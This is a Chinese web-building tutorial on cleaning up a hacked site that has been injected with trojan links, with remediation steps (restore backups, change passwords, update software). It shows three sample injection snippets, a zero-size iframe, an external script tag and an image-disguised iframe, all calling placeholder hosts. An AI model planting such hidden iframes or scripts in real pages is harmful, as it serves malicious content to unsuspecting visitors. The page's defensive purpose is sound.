零基础建站培训介绍

当前位置:

网站被黑挂马怎么解决

一个网站做好之后,网站安全相当重要。如果忽视了网站安全,就容易造成网站被黑挂马。下面学做网站论坛介绍一下如果网站出现了被黑挂马之后,应该怎么解决。

网站被黑挂马怎么解决

解决网站被黑挂马之后,我们认识一些常见的挂马方式。

(1)iframe 框架挂马


<iframe src=http://www.xxx.com/xxx.html width=0 height=0></iframe>

这种嵌入是的挂马特别常见,在Google中搜索发现的可能还有木马的网页,一般都是被这种方式挂马。这行语句就是在网页打开的时候,同时打开另外一个网页,当然这个网页可能包含大量的木马,也可能仅仅是为了骗取流量。

(2)script 挂马


<script src=http://xxx.cn/yyy.js></script>

通过script的调用来挂马,可以挂直接的html文件,也可以挂js文件,可以明文挂马,为了躲避追查,也有加密挂马的形式,形式各异,千差万别。

3)图片伪装挂马


<html>
<iframe src=”http://www.x.com/x.htm” height=0 width=0></iframe><img src=”http://www.x.com/x.jpg”>
</html>

攻击者将类似:http://www.xxx.com/x.htm中的木马代码植入到x.gif图片文件中,这些嵌入代码的图片都可以用工具生成。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法。

以下就是三种常见的挂马方式。如果我们网站现现被黑挂马,我们首先要检查自己的网站代码里有没有以上三种类型的代码,如果有,立即删除。

当然还会有其它类型的挂马方式,所以下面介绍一下彻底解决网站被黑挂马的方法。

  1. 首先清空自己网站空间里的所有程序文件和数据库;
  2. 使用自己网站在正常情况下的备份进行还原操作;(相关知识:如何进行网站备份)
  3. 修改所有空间后台密码、FTP登录密码,越复杂越好;
  4. 经常的升级自己网站的程序,保证程序本身安全。(程序升级方法见仿站教程第三节)

这样就可以有效的解决网站被黑挂马的问题了。

上一课: 下一课:

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

相关教程

  • CSRF 是什么?CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对
  • 如何做网站跳转到另一个网站?可以通过一个PHP文件来进行判断,然后进入网站站跳转到另一个网站。<?phpswitch ($_SERVER["HTTP_
  • 有一些学建网站的学员使用的阿里云虚拟主机,当网站出现问题时就会提示错误,但阿里云虚拟主机默认情况下是没有开启详细报错功能的,这对于调试网站特
  • 什么是肉鸡攻击:肉鸡就是被黑客攻击和入侵,在电脑里面放入了病毒和木马之类的后门程序,拥有管理权限的远程电脑,受入侵者控制的远程电脑。被肉
  • 什么是DDoS攻击:DDoS是英文Distributed Denial of Service的缩写,意即 分布式拒绝服务,那么什么又是拒绝服务(Denial of Service)呢?凡是能导致
  • 网站安全是一件很重要的事情,自己辛苦做的网站,可能无意中被 别人恶意网站劫持了。现在有些黑客使用一些代码来将网站进行判断地区跳转,判断管理员
  • 说到网站被劫持,很多从零学习建网站的站长并不陌生,可如何才能有效发现并避免被劫持,是很多网站头疼的问题,学院特邀社区版主以利,为大家分享网站
  • 服务器方法有很多 如网站在同一时间受到大量的访问流量 超过网站服务器所能承受的限制 那么网站所解析的服务器就会崩溃。主流的服务器攻击方式有多种
  • 大家都知道渗透测试就是为了证明网络防御按照预期计划正常运行而提供的一种机制,而且够独立地检查你的网络策略,一起来看看网站入侵渗透测试的正确知
  • 什么是网站流量劫持其实就是黑客动用一切技术手段,当亲们输入一个网址然后点击回车的时候,把亲们忽悠另一个网站上去哦,或者向亲们原本想访问的的